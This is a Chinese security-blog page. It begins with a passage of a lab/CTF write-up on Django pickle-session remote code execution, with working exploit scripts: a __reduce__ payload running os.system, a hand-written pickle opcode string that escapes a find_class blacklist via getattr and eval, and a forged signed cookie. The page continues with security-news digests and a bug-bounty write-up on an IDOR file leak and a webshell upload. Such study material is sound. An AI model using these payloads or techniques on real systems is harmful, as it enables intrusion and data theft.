'Signature age %s > %s seconds' % (age, max_age))
return value
时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较
漏洞调试
我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)
老惯例,先看栈帧
django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求
AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份
随后调用Django auth模块下的get_user函数和_get_user_session_key函数
随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化
loads函数中的操作
首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码
最后扔入pickle进行字节码解析
漏洞利用
首先利用条件如下:
以cookie方式存储session,实现了交互。
以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE
EXP如下:
import os
import django.core.signing
import requests
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
protocol = pickle.HIGHEST_PROTOCOL
def dumps(self, obj):
return pickle.dumps(obj, self.protocol)
def loads(self, data):
return pickle.loads(data)
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
class exp():
def __reduce__(self):
# 返回一个callable 及其参数的元组
return os.system, (('calc.exe'),)
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})
Code-Breaking-Django调试
这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode
find_class沙盒逃逸
关于find_class:
简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name): # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist: # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
# 校验data是否为字符串
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data) # 读取data
return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法
class Person:
def __init__(self, name):
self.name = name
# 获取对象属性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
# 调用对象方法
a = getattr(builtins, "eval")
a("print(1+1)")
# 可以设置default值
age = getattr(person, "age", 30)
print(age)
builtins.getattr(builtins, "eval")("print(1+1)")
那么同理,也可以通过getattr调用eval
加载上下文:由于后端在实现时,import了一些包
(这部分包的上下文可以使用globals()函数获得)
所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等
getattr = GLOBAL('builtins', 'getattr') # GLOBAL为导入
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__') # 获取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return
查看Django.core.signing模块,复刻sign写exp
from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
def b64_encode(s):
return base64.urlsafe_b64encode(s).strip(b"=")
base64d = b64_encode(PayloadToBeEncoded).decode()
def exp(key, payload):
global salt
# Flag for if it's been compressed or not.
is_compressed = False
compress = False
if compress:
# Avoid zlib dependency unless compress is being used.
compressed = zlib.compress(payload)
if len(compressed) < (len(payload) - 1):
payload = compressed
is_compressed = True
base64d = b64_encode(payload).decode()
if is_compressed:
base64d = "." + base64d
session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
print(session)
然后传session即可。
网络安全日报 2023年10月19日
1、研究人员发现针对Telegram和云用户的供应链攻击活动
https://checkmarx.com/blog/users-of-telegram-aws-and-alibaba-cloud-targeted-in-latest-supply-chain-attack/ 2023年9月,一个使用“kohlersbtuh15”假名的攻击者,通过向PyPi包管理器上传一系列恶意包,试图利用开源社区进行传播。根据这些包的名称和代码,可以看出这个攻击者的目标是使用阿里云服务、AWS和Telegram的开发者。这次攻击的特点是,攻击者利用了Typosquatting(误拼)和Starjacking(星标劫持)等技术,诱导开发者下载恶意包。Typosquatt
2、Fantom Foundation因Chrome漏洞遭黑客攻击
https://www.hackread.com/fantom-foundation-wallet-hack-google-chrome-0-day-flaw/ 2023年10月17日,Fantom Foundation(开发Fantom区块链的组织)遭到了一场网络钓鱼攻击。黑客利用了Google Chrome浏览器的一个零日漏洞,直接影响了该组织的运营。这次攻击导致了估计为65.7万美元的资金被非法转移,这是本月困扰区块链领域的众多安全事件之一。据研究人员称,攻击者从Fantom Foundation在以太坊和Fantom网络上的钱包中窃取了资金。攻击者将偷来的资金集中到一个地址中,该地址
3、CasaOS存在严重的安全漏洞,需尽快修复
https://www.sonarsource.com/blog/security-vulnerabilities-in-casaos/ CasaOS是一个开源的家庭云系统,可以让用户在自己的设备上部署和管理各种应用。然而,近日研究人员发现了CasaOS中存在多个严重的安全漏洞,包括任意文件读取、任意文件上传、命令注入、跨站脚本攻击等。这些漏洞可以让攻击者获取用户的敏感数据,甚至控制用户的设备。研究人员已经向CasaOS的开发者报告了这些漏洞,并提供了一些修复建议。目前,CasaOS的最新版本是0.3.7,还没有发布修复这些漏洞的更新。因此,建议CasaOS的用户尽快升级到最新版本,并避免在
4、D-Link确认数据泄露,员工和合作伙伴受影响
https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10359 D-Link是一家知名的网络设备制造商,近日确认了一起数据泄露事件,导致员工和合作伙伴的个人信息和敏感数据被暴露。据报道,这起数据泄露事件发生在2023年9月30日,当时D-Link的一个第三方服务提供商遭到了网络攻击。攻击者利用了一个未修复的漏洞,窃取了D-Link的员工和合作伙伴的姓名、电子邮件地址、电话号码、职位、公司名称等信息。D-Link表示,已经通知了受影响的员工和合作伙伴,并提供了一些安全建议,如修改密码、监控
5、《2023年全球云威胁报告》:90%的安全供应链实则并不安全
https://www.freebuf.com/articles/paper/380279.html 近日,云安全公司Sysdig发布了《2023年全球云威胁报告》,研究了瞄准垂直行业的针对性云攻击,结果发现云攻击者正在通过利用云服务和常见的错误配置,以复杂的方式发展他们的技术和工具包。更重要的是,云中的攻击移动速度很快,侦察到威胁和造成严重破坏之间的间隔可能仅几分钟。
6、WIKI系统 Confluence存在高危漏洞
https://www.freebuf.com/news/381032.html 近日,CISA、FBI 和 MS-ISAC 警告网络管理员立即为其 Atlassian Confluence 服务器更新安全补丁,以防止网络攻击者中主动利用严重性漏洞 CVE-2023-22515。
7、香港芭蕾舞团电脑遭勒索软件入侵读取个人及内部资料
https://www.secrss.com/articles/59712 香港芭蕾舞团公布,电脑网络系统近日遭勒索软体入侵,导致内部电脑系统遭非法读取,当中或包括个人资料及港芭内部资料。
8、黑客利用币安智能链储存恶意代码
https://thehackernews.com/2023/10/binances-smart-chain-exploited-in-new.html 过去两个月,黑客劫持了 WordPress 网站向访问者展示浏览器需要更新才能正常访问的信息,如果访客上当他们会下载恶意程序收集登陆凭证等敏感信息,恶意程序通常托管在 Web 服务上,一经发现会迅速被移除。但在这起攻击中,黑客利用了币安智能链的智能合约去储存永远无法移除的恶意代码。加密货币所使用的区块链在信息写入之后是很难移除的。
9、专家警告Milesight 路由器和 Titan SFTP 服务器严重漏洞已被利用
https://thehackernews.com/2023/10/experts-warn-of-severe-flaws-affecting.html VulnCheck 的新发现显示,影响Milesight工业蜂窝路由器的严重缺陷可能已在现实世界的攻击中被积极利用。该漏洞被追踪为 CVE-2023-43261(CVSS 评分:7.5),被描述为影响 35.3.0.7 版本之前的 UR5X、UR32L、UR32、UR35 和 UR41 路由器的信息泄露案例,可能使攻击者能够访问https://nvd.nist.gov/vuln/detail/CVE-2023-43261例如 httpd.
10、Zabbix 修复缓冲区溢出漏洞(CVE-2023-32722)
http://www.anquan419.com/knews/24/6016.html Zabbix 修复了一个缓冲区溢出漏洞(CVE-2023-32722),由于 Zabbix 受影响版本中 zabbix src libs zbxjson 模块未对 JSON 数据的深度进行校验,导致 zbx_json_open 方法解析 JSON 深度超过 64 层时存在缓冲区溢出漏洞。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月18日
1、研究人员发现针对拉丁美洲用户的新型恶意软件TOITOIN
https://www.zscaler.com/blogs/security-research/toitoin-trojan-analyzing-new-multi-stage-attack-targeting-latam-region 研究人员最近发现一个针对拉丁美洲用户的攻击活动。在此次攻击活动中,攻击者利用多阶段的攻击链执行定制的模块,例如将恶意代码注入到进程中、通过COM组件绕过用户账户控制、 规避沙箱检测等,最终投递一个名为“TOITOIN”的新型恶意软件。该恶意软件采用独特的XOR解密技术对配置文件进行解密,收集系统信息,并对已安装浏览器及Topaz OFD产品中的相关数据进行窃
2、攻击者使用Legion窃密木马针对PUBG玩家进行攻击
https://blog.cyble.com/2023/07/11/legion-stealer-targeting-pubg-players 研究人员最近发现了一个Github页面,该页面伪装成PUBG作弊工具的项目,并借此传播恶意软件。攻击者对其中的“Karogour_Bypanls.Scr”文件的后7个字符进行反转,将其文件名变成“Karogour_BypasrcS.sln”以此诱导用户执行。该程序是一个基于GUI的32位可执行程序,使用.NET语言进行编写,运行后将“Local_ycsNYnaBZ.sln”文件及“LocalchfRgyVJSk.exe”程序放置%appdata%目录
3、微软针对132个漏洞发布安全更新,包括多个已被利用零日漏洞
https://thehackernews.com/2023/07/microsoft-releases-patches-for-130.html 微软发布安全更新,以解决132个安全漏洞,其中包括6个零日漏洞,且这些零日漏洞已被利用。CVE-2023-32046,CVSS评分为7.8,是Windows MSHTML平台提权漏洞;CVE-2023-32049,CVSS评分为8.8,是Windows SmartScreen安全功能绕过漏洞;CVE-2023-35311,CVSS评分为8.8,是Microsoft Outlook安全功能绕过漏洞;CVE-2023-36874,CVSS评分为7.8
4、HCA Healthcare泄露1100万患者数据
https://securityaffairs.com/148371/data-breach/hca-healthcare-data-breach.html HCA Healthcare披露了一个数据泄露事件,该机构表示大约1100万患者的个人信息在此次事件中泄露。7月5日,黑客在黑客论坛中宣传入侵了该机构,并发布了一些患者的相关数据信息。HCA Healthcare仍在对此次事件进行调查,尚未在其网络或系统中发现与此次事件相关的证据。HCA Healthcare指出数据泄露列表中包含约2700万行数据,其中可能包括约1100万患者的个人信息。该机构表示不认为此次数据泄漏涉及到患者的临床信息
5、特立尼达和多巴哥遭受网络攻击
https://therecord.media/trinidad-tobago-hit-with-cyberattack 特立尼达和多巴哥司法部正在处理一起影响该国司法部运作的网络攻击事件,其数字转型部最近几天发现了针对该国总检察长办公室和法律事务部(AGLA)的网络攻击。虽然暂未给出攻击开始的具体日期,但AGLA发布消息表示,自6月30日以来一直在处理网络攻击所导致的问题,其内部服务中断,并且在此之后不能够收到以电子方式传来的法庭文件。为解决此问题,该部门提供了发送法庭文件的备用电子邮箱地址,并表示可以在西班牙首都港口提供面对面的法庭服务。
6、疑似迪卡侬 8000 名员工个人信息暴露暗网上
https://www.freebuf.com/news/380889.html The cyber express 网站消息,某论坛用户爆料知名体育用品零售商迪卡侬一起数据泄露事件,大约 8000 名员工个人信息在此前迪卡侬数据泄露事件中被曝光,这些信息目前已在暗网上“共享”。
7、思科未修补的零日漏洞CVE-2023-20198(CVSS:10)正被积极利用
https://www.freebuf.com/news/380882.html 思科要求客户立即在其所有面向互联网的 IOS XE 设备上禁用 HTTPS 服务器功能,以防止攻击者利用操作系统 Web 用户界面中的一个关键零日漏洞。思科 IOS XE 是思科用于下一代企业网络设备的操作系统。该漏洞被命名为 CVE-2023-20198,影响所有启用了 Web UI 功能的 Cisco IOS XE 设备。思科将该漏洞定义为一个权限升级漏洞,可以完全接管设备。思科将该漏洞在 CVSS 评级中定为 10 分(满分 10 分)。
8、微软计划在 Win11 中弃用 NTLM 身份验证协议
https://www.freebuf.com/news/380859.html 微软公司宣布,计划在未来的 Windows 11 中取消 NT LAN Manager,将其换成其他认证方式并加强安全性。微软方面强调,此次变化的重点是加强自 2000 年以来一直默认使用的 Kerberos 身份验证协议,从而减少对 NT LAN Manager 的依赖。Windows 11 的新功能包括使用 Kerberos 的初始和通过身份验证以及用于 Kerberos 的本地密钥分发中心。
9、因收到100万美元“侮辱性”赎金,Lockbit泄露CDW内部数据
https://www.freebuf.com/news/380865.html 近日,知名勒索软件团伙Lockbit声称入侵了技术服务巨头 CDW,并因赎金谈判破裂泄露了部分数据。CDW是全球最大的经销商企业之一,专为商业、政府和教育提供技术解决方案和服务。Lockbit在入侵CDW后索要8000万美元赎金,但该组织声称该对方只支付了 100 万美元。
10、MemComputing ASIC 可能会破坏 2048 位 RSA 加密
https://www.securityweek.com/beyond-quantum-memcomputing-asics-could-shatter-2048-bit-rsa-encryption/ 总部位于圣地亚哥的 MemComputing 正在研究使用内存处理 ASIC(专用集成电路)来实时破解 2048 位 RSA。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年10月17日
1、恶意NuGet包冒充加密货币项目感染开发者
https://blog.phylum.io/phylum-discovers-seroxen-rat-in-typosquatted-nuget-package/ 近日,安全研究人员发现了一些恶意的NuGet包,它们冒充了一些流行的加密货币项目和平台,例如Solana、Kucoin和Discord,目的是感染开发者的电脑,安装SeroXen远程控制木马。这些恶意包由一个名为“Disti”的用户上传,共有12个,下载量超过200万次。这些包含有一个混淆的批处理文件,当开发者使用NuGet包管理器安装这些包时,就会执行该文件,从远程服务器下载并运行SeroXen木马。SeroXen木马可以窃取
2、俄罗斯黑客利用WinRAR漏洞攻击乌克兰冲突区
https://blog.cluster25.duskrise.com/2023/10/12/cve-2023-38831-russian-attack 研究人员发现,与俄罗斯有关联的国家级威胁行为者发起了一系列基于网络钓鱼的攻击,目标是乌克兰冲突区域的机构和个人。这些攻击利用了最近发现的影响WinRAR压缩软件6.23之前版本的漏洞,编号为CVE-2023-38831。攻击者通过发送一个恶意的压缩文件来诱骗受害者打开,该压缩文件包含一个伪装成分享指标(IoCs)的PDF文件,以及一个与PDF文件同名(包括末尾空格)的目录,该目录中有一个BAT脚本。由于漏洞的存在,当受害者尝试打开PDF文件
3、AgentTesla通过CHM和PDF文件在最近的攻击中传播
https://cyble.com/blog/agenttesla-spreads-through-chm-and-pdf-files-in-recent-attacks/ AgentTesla是一个基于.NET框架的信息窃取器,旨在渗透计算机并秘密地从受害者的机器中提取敏感信息。近日,研究人员在VirusTotal(VT)中发现了一个恶意的Gzip压缩文件。这个Gzip文件包含了一个CHM文件,它触发了AgentTesla感染的开始。在最近的活动中,研究人员发现了一个被Gzip压缩并很可能通过恶意垃圾邮件发送的CHM文件。这个精心制作的CHM文件充当了一个诱饵。根据CHM文件中可用的内容,
4、威胁行为者利用币安智能链合约传播恶意代码
https://labs.guard.io/etherhiding-hiding-web2-malicious-code-in-web3-smart-contracts-65ea78efad16 近日,研究人员发现一些恶意行为者利用币安智能链(BSC)合约来托管和传播恶意代码。研究人员将其活动代号为EtherHiding,它利用被感染的WordPress网站来诱骗访问者更新他们的浏览器,然后下载信息窃取型恶意软件,如Amadey、Lumma或RedLine。攻击者在被感染的网站上注入了一个混淆的Javascript,用来通过创建一个智能合约来查询BNB智能链,合约中包含了攻击者控制的区块链地
5、AI算法用于检测和防御针对无人军用机器人的中间人攻击
https://www.unisa.edu.au/media-centre/Releases/2023/new-cyber-algorithm-shuts-down-malicious-robotic-attack/ 研究人员开发了一种使用机器学习技术的算法,可以检测和拦截对无人军用机器人的中间人(MitM)攻击。MitM攻击是一种网络攻击,其中攻击者截取了机器人和其合法控制器之间的数据流,以窃听或在流中注入虚假数据。这种攻击可能会干扰无人驾驶车辆的运行,修改传输的指令,甚至夺取控制权,指示机器人采取危险行动。该算法在美国陆军使用的GVR-BOT复制品中进行了测试,记录了99%的攻击预防成功
6、ALPHV勒索软件攻击美国莫里森社区医院窃取了5TB数据
https://securityaffairs.com/152486/cyber-crime/alphv-ransomware-morrison-community-hospital.html 美国伊利诺伊州的莫里森社区医院(MCH)遭到了ALPHV/BlackCat勒索软件团伙的攻击,导致其部分系统被加密,并且有大量的敏感数据被窃取。该团伙在其暗网网站上公布了部分数据的截图,包括患者的姓名、出生日期、社会保险号、诊断信息、医疗保险信息等。该团伙还声称他们已经从医院的服务器上下载了超过5TB的数据,并威胁如果不支付赎金,就会公开更多的数据。ALPHV/BlackCat勒索软件是一种新兴的网络
7、Storm-0324 与勒索团伙 Sangria Tempest 勾结
https://www.freebuf.com/articles/network/379912.html 2023 年 7 月上旬,微软称之为 Storm-0324 的攻击组织通过 Microsoft Teams 发送钓鱼邮件进行攻击。Storm-0324 是一个以经济获利为动机的攻击组织,以通过钓鱼邮件执行远程代码获取失陷主机访问权限而闻名。获取立足点后 Storm-0324 通常会将访问权限转卖给其他犯罪团伙,如勒索软件组织 Sangria Tempest(又叫 FIN7、Carbon Spider)与 TA543 等。攻击组织 Sangria Tempest 与 Storm-0324
8、 阿里云、华为、金山办公等发起,人工智能安全治理专业委员会成立
https://www.ithome.com/0/724/987.htm “中国网络空间安全协会”官方公众号10月14日下午宣布,10 月 12 日上午,中国网络空间安全协会人工智能安全治理专业委员会正式成立。
9、密码泄露及时通知,谷歌为自家搜索 App 添加一系列隐私功能
https://www.ithome.com/0/724/835.htm 谷歌目前表示,任何拥有谷歌账号的用户,近日都可以在“谷歌手机软件”中启用“暗网报告”功能,谷歌在今年 5 月公布这项功能,可在用户密码泄露时告知用户。
10、思科再次承认使用了硬编码密码
https://www.schneier.com/blog/archives/2023/10/cisco-cant-stop-using-hard-coded-passwords.html 思科最近披露了 Cisco Emergency Responder 的一个漏洞 CVE-2023-20101,它包含了一个 root 账号的静态用户凭证,原本是为开发保留的,但不小心留在了最终用户产品中。攻击者可以使用该账号登陆受影响系统,以 root 用户权限执行任意命令。这远非第一次思科在其产品中使用了硬编码密码。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
某985证书站挖掘记录
0x1.前言
本文章仅用于信息安全防御技术分享,因用于其他用途而产生不良后果,作者不承担任何法律责任,请严格遵循中华人民共和国相关法律法规,禁止做一切违法犯罪行为。文中涉及漏洞均以提交至教育漏洞平台,现已修复。
0x2.背景
本人从9月10号开始挖掘教育网的漏洞,截至到10月10号已经上了一百多分,其中还挖掘到了多个证书站的漏洞。 然后经过有师傅提醒,说某某985证书快要上线了,我看了一下漏洞提交的还不算太多,这不赶紧抓住机会上分一波?从清楚目标到挖出漏洞不到一天(主打一个快速挖掘),于是就有了这篇文章。
0x3.信息搜集
渗透测试的第一要义是信息搜集,你能搜集到别人搜集不到的信息,你就能挖到别人挖不到的漏洞
这里推荐我使用的一个集成工具:oneforall,工具地址:https://github.com/shmilylty/OneForAll
然后收集到大量资产后,我会先初步使用httpx对一些路径进行快速批量探测:
httpx工具地址:https://github.com/projectdiscovery/httpx
httpx.exe -path /api/users -l target.txt -title -tech-detect -status-code -threads 50 -web-server -mc 200
这里将你搜集的资产的链接放在target.txt中
-path /api/users: 这是目标URL的路径,其中/api/users表示要测试的API端点的路径。
-title: 此选项指示工具在输出中包括目标网页的标题。
-tech-detect: 这个选项告诉工具进行技术检测,它将尝试识别目标URL上运行的Web服务器和后端技术。
-status-code: 此选项要求工具返回每个请求的HTTP响应状态代码。
-threads 50: 这个选项指定了并行执行的线程数,工具将使用50个线程同时测试目标URL。
-web-server: 此选项告诉工具输出目标URL上运行的Web服务器的信息。它可以显示服务器类型和版本等信息。
-mc 200: 这是一个过滤选项,它指定了匹配响应状态码的条件。在这里,-mc 200 表示只输出具有HTTP响应状态码为200的结果。
然后经过初步信息搜集后我锁定了某个可疑站点因为可疑直接注册,于是开始着手渗透。
0x4.渗透利用
漏洞点1--未授权访问
测了一下注册点逻辑,利用不了遂放弃进入后台。
然后我进入了个人后台,我发现了有数据申请的功能于是着手开测:
遇到上传点,我们测一测!
嗯?没有过滤吗?直接传上shell了?但是Burp抓包查看返回也没有留下上传路径遂作罢。
然后我点击了下载模板按钮抓包如下:
https://xxx.edu.cn/xxx/xxx/download/161
我的直觉告诉我这个链接非常可疑!
我这里直接改成其他数字,啪!直接把别人上传的隐私文件下载下来了!
通过burp快速探测我发现数字为 157 ---293都可以下载文件,也就是说泄露了快150个敏感文件。如果不修复这个漏洞的话,后面不管谁上传的文件都可能被任意下载。
还有多个学生证照片/教工证照片/内部信息文件等敏感信息。好嘞初步rank到手!
这里就可以解释一下我上传shell了但是却连接不上:
访问对应的链接发现:
Content-Disposition 是 HTTP 头字段之一,它通常用于指定如何处理由服务器返回的响应内容。
这里这个头的意思是告诉客户端浏览器,响应的内容应被视为附件(文件下载),而不是在浏览器中直接显示。我尝试绕过也没有成功,也就是说文件直接没有解析了所以getshell方面我就作罢了。
为了确保能上中危,我决定再继续测一点功能。
漏洞点2--水平越权
注册两个账户
截取POST包:
回显成功:
通过这样可以让任意申请进行提前提交。
0x5.总结
总的来说信息搜集非常重要,同时细心也非常重要。不要因为某个点没测成功就放弃了,可以多去尝试尝试其他的地方。而且想要快速出成果的话最好去找那种可以任意注册的站~
网络安全日报 2023年10月16日
1、研究人员发布一款追踪和分析勒索软件攻击的工具
https://cybernews.com/ransomlooker/ 勒索软件是一种恶意软件,通过加密受害者的文件或系统,然后要求支付赎金来解密的一种网络攻击手法。近年来,勒索软件攻击的规模和频率都在不断增加,给全球的个人和组织带来了巨大的损失和威胁。为了应对这一挑战,研究人员推出了一款名为Ransomlooker的工具,可以监控勒索软件团伙的勒索网站,并提供他们在全球范围内的攻击声明的汇总信息。该工具的目的是帮助网络安全专家在日常工作中获取实时更新和可行的洞察,以便更好地防御和应对勒索软件攻击。Ransomlooker的主要功能包括:收集并展示来自不同勒索软件团伙的最新攻击声明,包括受害
2、BianLian勒索团伙窃取Air Canada数据并威胁公开
https://www.bleepingcomputer.com/news/security/bianlian-extortion-group-claims-recent-air-canada-breach/ BianLian勒索团伙近日宣称,他们在9月份成功入侵了加拿大最大的航空公司Air Canada的网络,窃取了210GB的数据,并威胁如果不支付赎金,就会公开这些数据。这些数据包括员工的个人信息、机票预订、机场运营、飞行计划等敏感信息。BianLian勒索团伙在其暗网网站上发布了一些数据的截图,作为证据。 Air Canada在9月份时曾经承认遭到了网络攻击,但只是表示受影响的系统包括
3、Shadow PC遭黑客利用恶意游戏入侵,用户信息被盗卖
https://www.bleepingcomputer.com/news/security/shadow-pc-warns-of-data-breach-as-hacker-tries-to-sell-gamers-info/ Shadow PC是一家提供高端云计算服务的公司,它允许用户在任何设备上享受高性能的游戏体验。然而,该公司近日遭受了一场数据泄露事件,导致用户的私人信息被黑客窃取,并在网上出售。据Shadow PC的首席执行官在周三发出的一封电子邮件中透露,这场数据泄露事件发生在上个月,是由一次“社交工程攻击”引起的。一名公司员工在Discord平台上下载了一个伪装成Steam平台
4、ToddyCat APT组织开发了一套新的数据窃取工具
https://securelist.com/toddycat-keep-calm-and-check-logs/110696/ ToddyCat APT组织是一支活跃于欧洲和亚洲的高级持续性威胁(APT)行为者,自2020年以来就一直被研究人员关注。该组织主要使用Ninja木马和Samurai后门作为其攻击武器,但最近,研究人员发现了该组织开发和维护的一套新的恶意软件工具,用于实现持久性、进行文件操作和加载额外的有效负载。这些工具包括一系列加载器,可以启动Ninja木马作为第二阶段;一个名为LoFiSe的工具,可以查找和收集感兴趣的文件;一个DropBox上传器,可以将窃取的数据保存到Dr
5、DarkGate恶意软件通过即时通讯平台传播
https://www.trendmicro.com/en_us/research/23/j/darkgate-opens-organizations-for-attack-via-skype-teams.html DarkGate恶意软件是一种多功能的恶意软件工具包,可以从浏览器中窃取敏感数据,进行加密货币挖矿,并允许其操作者远程控制受感染的主机。它还可以作为一个下载器,下载额外的有效负载,如Remcos RAT。DarkGate恶意软件最初于2018年被发现,并主要针对欧洲和西班牙用户。2023年6月,DarkGate恶意软件的开发者在地下论坛上宣传了其新版本,称其具有更强的逃避检测和限
6、AvosLocker勒索软件利用正规驱动文件绕过杀毒扫描
https://www.cisa.gov/sites/default/files/2023-10/aa23-284a-joint-csa-stopransomware-avoslocker-ransomware-update.pdf AvosLocker勒索软件是一种相对较新的勒索软件家族,它使用了最新的勒索软件特征,即通过威胁暴露窃取的信息来进行“双重勒索”。该勒索软件于2022年7月首次被发现,它声称自己是一个“专业的加密服务”,并提供了一个暗网门户网站,用于与受害者沟通和支付赎金。该门户网站还显示了一些被攻击的组织的名称和部分数据,作为对其他潜在受害者的威胁。AvosLocker勒索软
7、未修复的WS_FTP服务器遭受勒索软件攻击
https://www.bleepingcomputer.com/news/security/ransomware-attacks-now-target-unpatched-ws-ftp-servers/ WS_FTP是一款广泛使用的FTP软件,主要用于在网络上传输文件。然而,该软件存在一个最高级别的漏洞,编号为CVE-2023-28252,可以让攻击者在本地访问的情况下执行任意代码。该漏洞已经被一些勒索软件利用,例如LockBit 3.0。据研究人员观察,自称为Reichsadler Cybercrime Group的威胁行为者试图利用这个漏洞,在未修复的WS_FTP服务器上部署勒索软件载
8、微软将淘汰NTLM,转向更强的Kerberos认证
https://techcommunity.microsoft.com/t5/windows-it-pro-blog/the-evolution-of-windows-authentication/ba-p/3926848 微软宣布,计划在未来的Windows 11中淘汰NT LAN Manager(NTLM),转向更强的Kerberos认证。NTLM是一种早期的单点登录(SSO)工具,使用挑战-应答协议来验证用户的密码。但是,NTLM存在一些安全弱点,容易受到中继攻击,导致未授权访问网络资源。微软表示,将加强Kerberos认证协议,这是自2000年以来的默认协议,并减少对NTLM的依赖。
9、LOCKBIT勒索软件团伙向CDW索要8000万赎金
https://securityaffairs.com/152470/cyber-crime/lockbit-ransomware-gang-hacked-cdw.html CDW公司是一家提供技术产品和服务的跨国公司,拥有超过1000万的客户和超过100亿美元的年收入。近日,该公司遭到了LockBit勒索软件团伙的攻击,黑客声称已经窃取了该公司的敏感数据,并在暗网上发布了一个倒计时,要求CDW公司在16天内支付赎金,否则就会公开数据。目前,CDW公司的官网仍然正常运行,没有显示任何被攻击的迹象。CDW公司也没有对此事发表任何声明或回应。LockBit勒索软件团伙索要8000万美元的赎金,但
10、奖金最高15000美元!微软宣布Bing AI漏洞赏金计划
https://www.freebuf.com/news/380600.html 近日,微软宣布了一项新的人工智能赏金计划,重点关注Bing AI的体验,奖金达到了15000美元。
随着人工智能驱动的Bing体验成为新漏洞赏金计划的第一个产品,安全研究人员可以提交在以下合格服务和产品列表中发现的漏洞:
在浏览器中,Bing .com上的人工智能必应体验(支持所有主要供应商,包括Bing Chat, Bing Chat for Enterprise和Bing Image Creator)
在Microsoft Edge (Windows)中集成了人工智能支持的必应,包括企业版必应聊天
在微软启动应用程序(iOS和Android)中集成人工智能支持的Bing
在Skype移动应用程序(iOS和Android)中集成ai支持的Bing
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 